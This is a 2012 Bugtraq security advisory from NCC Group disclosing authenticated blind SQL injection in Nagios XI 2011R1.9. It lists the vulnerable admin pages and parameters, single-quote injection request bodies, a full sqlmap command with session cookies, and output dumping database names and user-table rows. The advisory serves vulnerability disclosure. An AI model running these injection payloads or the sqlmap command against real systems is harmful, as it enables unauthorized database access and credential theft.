bugtraq - NGS000194 Technical Advisory: Nagios XI Network Monitor Blind SQL Injection

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Date: Fri, 30 Nov 2012 10:33:05 +0000
From: NCC Group Research <research@...group.com>
To: "bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>
Subject: NGS000194 Technical Advisory: Nagios XI Network Monitor Blind SQL
 Injection

=======
Summary
=======
Name: Nagios XI Network Monitor - Blind SQL Injection
Release Date: 30 November 2012
Reference: NGS00194
Discoverer: Daniel Compton <daniel.compton@...secure.com>
Vendor: Nagios
Vendor Reference: 0000282
Systems Affected: Nagios XI Network Monitor 2011R1.9
Risk: High
Status: Published

========
TimeLine
========
Discovered: 30 January 2012
Released: 31 January 2012
Approved: 31 January 2012
Reported: 31 January 2012
Fixed:  7 June 2012
Published: 30 November 2012

===========
Description
===========
Nagios XI Network Monitor 2011R1.9 - Blind SQL Injection within the administrator/monitoring interface. This is a commertical product for monitoring severs and network monitoring equipment.

I. VULNERABILITY
-------------------------
Nagios XI Network Monitor 2011R1.9 suffers from Blind SQL injection in several pages and parameters. This is exploitable as an authenticated user.

II. BACKGROUND
-------------------------
Nagios provide enterprise level network and server monitor software.

http://www.nagios.com/

III. DESCRIPTION
-------------------------
SQL injection has been found and exploited/confirmed within the software as an authenticated user. This is the latest version of Nagios XI.

=================
Technical Details
=================

IV. PROOF OF CONCEPT
-------------------------

The following URL's and parameters have been confirmed to all suffer from
Blind SQL injection.

/nagiosql/admin/checkcommands.php (POST parameters: chbActive,selCommandType)
/nagiosql/admin/servicegroups.php (POST parameters: chbActive,selCommandType)
/nagiosql/admin/hostgroups.php (POST parameters: chbActive)
/nagiosql/admin/services.php (POST parameters: chbActive)
/nagiosql/admin/hosts.php (POST parameters: chbActive, tfCheckIntervalm, tfMaxCheckAttempts, tfRetryInterval)

Manual confirmation of the chbActive parameter, insering a single '

tfName=ls&tfCommand=x.txt&selCommandType=0&chbActive=1'&hidActive=&modus=insert&hidId=&hidLimit=0
tfName=ls&tfCommand=x.txt&selCommandType=0&chbActive=1''&hidActive=&modus=insert&hidId=&hidLimit=0

Exploiting with SQLMap:

python sqlmap.py --url http://192.168.1.121/nagiosql/admin/checkcommands.php --cookie "PHPSESSID=bbfqbou8tq71591ct6qrcakpg5; nagiosxi=nv78nq36n551h3e63ooprpe556" --data="tfName=ls&tfCommand=x.txt&selCommandType=0&chbActive=1&hidActive=&modus=insert&hidId=&hidLimit=0" --dbms=mysql -p chbActive --dbs

[14:55:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0
[14:55:26] [INFO] fetching database names
[14:55:26] [INFO] the SQL query used returns 3 entries
[14:55:26] [INFO] retrieved: information_schema
[14:55:26] [INFO] retrieved: nagiosql
[14:55:26] [INFO] retrieved: test
available databases [3]:
[*] information_schema
[*] nagiosql
[*] test

[14:25:26] [INFO] fetching entries for table 'tbl_user' on database
'nagiosql'
[14:25:26] [INFO] the SQL query used returns 2 entries
[14:25:26] [INFO] retrieved: 11111111
[14:25:27] [INFO] retrieved: 1
[14:25:27] [INFO] retrieved: Administrator
[14:25:27] [INFO] retrieved: 1
[14:25:27] [INFO] retrieved: 2012-01-30 12:29:41

 [14:25:27] [INFO] retrieved: 2009-10-22 12:53:49
[14:25:27] [INFO] retrieved: 1
[14:25:27] [INFO] retrieved: ccc<CUT>2f014bb
[14:25:28] [INFO] retrieved: nagiosadmin
[14:25:28] [INFO] retrieved: 0
[14:25:28] [INFO] retrieved: 11111111
[14:25:28] [INFO] retrieved: 1
[14:25:28] [INFO] retrieved: Nagios XI Subsystem Account
[14:25:28] [INFO] retrieved: 4
[14:25:28] [INFO] retrieved: 2012-01-30 13:52:09
[14:25:29] [INFO] retrieved: 2009-10-22 12:55:08
[14:25:29] [INFO] retrieved: 0
[14:25:29] [INFO] retrieved: cccc<CUT>2f014bb
[14:25:29] [INFO] retrieved: nagiosxi
[14:25:30] [INFO] retrieved: 0

===============
Fix Information
===============
Fixed in 2012 version

http://labs.nagios.com/2012/04/13/nagios-xi-ccm-full-beta/

NCC Group Research
http://www.nccgroup.com/research


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